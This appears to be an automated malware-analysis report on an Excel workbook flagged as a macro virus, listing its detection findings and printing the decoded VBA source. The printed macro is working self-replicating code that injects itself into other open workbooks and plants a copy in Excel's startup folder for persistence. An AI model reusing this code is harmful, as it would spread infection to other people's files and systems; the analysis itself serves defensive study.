MALICIOUS
268
Risk Score
Heuristics 7
-
ClamAV: Xls.Malware.Emeka-10012113-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Xls.Malware.Emeka-10012113-0
-
VBA macros detected medium 5 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
w2.InsertLines 1, w1.Lines(1, w1.CountOfLines) -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set xlApp = CreateObject("Excel.Application") -
VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCEThe macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.Matched line in script
xlWB.SaveAs Filename:=Application.StartupPath + "\Book1.", FileFormat:=xlNormal, AddToMru:=False -
VBA hooks the VBE-editor / macro-list keys to evade inspection high OLE_VBA_VBE_KEY_HOOK_EVASIONThe macro reroutes Alt+F11 (Visual Basic editor) and/or Alt+F8 (macro list) through Application.OnKey, so an analyst's attempt to open the macro code is intercepted. This anti-analysis trick is a hallmark of resident Excel macro viruses hiding the viral module while it is loaded.Matched line in script
Application.OnKey "{F8}", "ThisWorkbook.vtShowCol" -
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
Private Sub Workbook_Open()
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 2583 bytes |
SHA-256: e09b51a45c21fa52bd4eb9dc80150232d3a3aab35a23fc76d060290b2e5503c9 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
'OOO
Private Sub Workbook_BeforeSave(ByVal SaveAsUI As Boolean, Cancel As Boolean)
If UCase(ThisWorkbook.Name) = "BOOK1" Then
Application.Dialogs(xlDialogSaveAs).Show
'Cancel = True
End If
End Sub
Private Sub Workbook_Deactivate()
On Error Resume Next
Set w1 = ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
Set w2 = ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
If w2.Lines(1, 1) <> "'OOO" Then
w2.InsertLines 1, w1.Lines(1, w1.CountOfLines)
End If
If UCase(Dir(Application.StartupPath + "\book1.")) <> "BOOK1" Then
Set xlApp = CreateObject("Excel.Application")
Set xlWB = xlApp.Workbooks.Add
Set xlWS = xlWB.Sheets.Add
Set xlCM = xlWB.VBProject.VBComponents("ThisWorkbook").CodeModule
xlCM.InsertLines 1, w1.Lines(1, w1.CountOfLines)
xlWB.SaveAs Filename:=Application.StartupPath + "\Book1.", FileFormat:=xlNormal, AddToMru:=False
xlWB.Close
xlApp.Quit
End If
End Sub
Private Sub Workbook_BeforeClose(Cancel As Boolean)
On Error Resume Next
TmpDir = "C:\TMP\"
If Trim(Dir(TmpDir)) = "" Then
MkDir TmpDir
End If
oldname = ThisWorkbook.Name
mFileName = "C:\TMP\" + oldname
ThisWorkbook.SaveCopyAs Filename:=mFileName
End Sub
Sub vtHideRow()
Application.Selection.EntireRow.Hidden = True
End Sub
Sub vtShowRow()
Application.Selection.EntireRow.Hidden = False
End Sub
Sub vtHideCol()
Application.Selection.EntireColumn.Hidden = True
End Sub
Sub vtShowCol()
Application.Selection.EntireColumn.Hidden = False
End Sub
Private Sub Workbook_Open()
Application.OnKey "{F5}", "ThisWorkbook.vtHideRow"
Application.OnKey "{F6}", "ThisWorkbook.vtShowRow"
Application.OnKey "{F7}", "ThisWorkbook.vtHideCol"
Application.OnKey "{F8}", "ThisWorkbook.vtShowCol"
End Sub
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.